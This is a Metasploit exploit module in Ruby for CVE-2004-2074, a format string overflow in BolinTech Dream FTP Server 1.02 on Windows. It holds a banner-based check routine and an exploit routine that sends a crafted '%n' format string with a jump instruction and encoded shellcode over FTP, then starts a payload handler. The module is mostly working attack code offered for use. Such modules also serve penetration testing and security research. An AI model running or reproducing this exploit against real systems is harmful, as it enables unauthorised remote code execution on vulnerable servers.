BolinTech Dream FTP Server 1.02 Format String

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'BolinTech Dream FTP Server 1.02 Format String',
        'Description'	=> %q{
          This module exploits a format string overflow in the BolinTech
          Dream FTP Server version 1.02. Based on the exploit by SkyLined.
        },
        'Author' => [ 'aushack' ],
        'Arch'	=> [ ARCH_X86 ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2004-2074'],
          [ 'OSVDB', '4986'],
          [ 'BID', '9800'],
          [ 'EDB', '823']
        ],
        'Platform' => ['win'],
        'Privileged'	=> false,
        'Payload' => {
          'Space'	=> 1000,
          'BadChars'	=> "\x00\x0a\x0d",
          'StackAdjustment'	=> -3500,
        },
        'Targets' => [
          # Patrick - Tested OK 2007/09/10 against w2ksp0, w2ksp4 en.
          [
            'Dream FTP Server v1.02 Universal',
            {
              'Offset'	=> 3957680, # 0x3c63ff-0x4f
            }
          ],
        ],
        'DisclosureDate' => '2004-03-03',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(21),
      ]
    )
  end

  def check
    connect
    banner = sock.get_once
    disconnect
    if (banner.to_s =~ /Dream FTP Server/)
      return Exploit::CheckCode::Detected('FTP banner indicates Dream FTP Server')
    end

    return Exploit::CheckCode::Safe('FTP banner does not match Dream FTP Server')
  end

  def exploit
    connect
    select(nil, nil, nil, 0.25)
    sploit = "\xeb\x29"
    sploit << "%8x%8x%8x%8x%8x%8x%8x%8x%" + target['Offset'].to_s + "d%n%n"
    sploit << "@@@@@@@@" + payload.encoded
    sock.put(sploit + "\r\n")
    select(nil, nil, nil, 0.25)
    handler
    disconnect
  end
end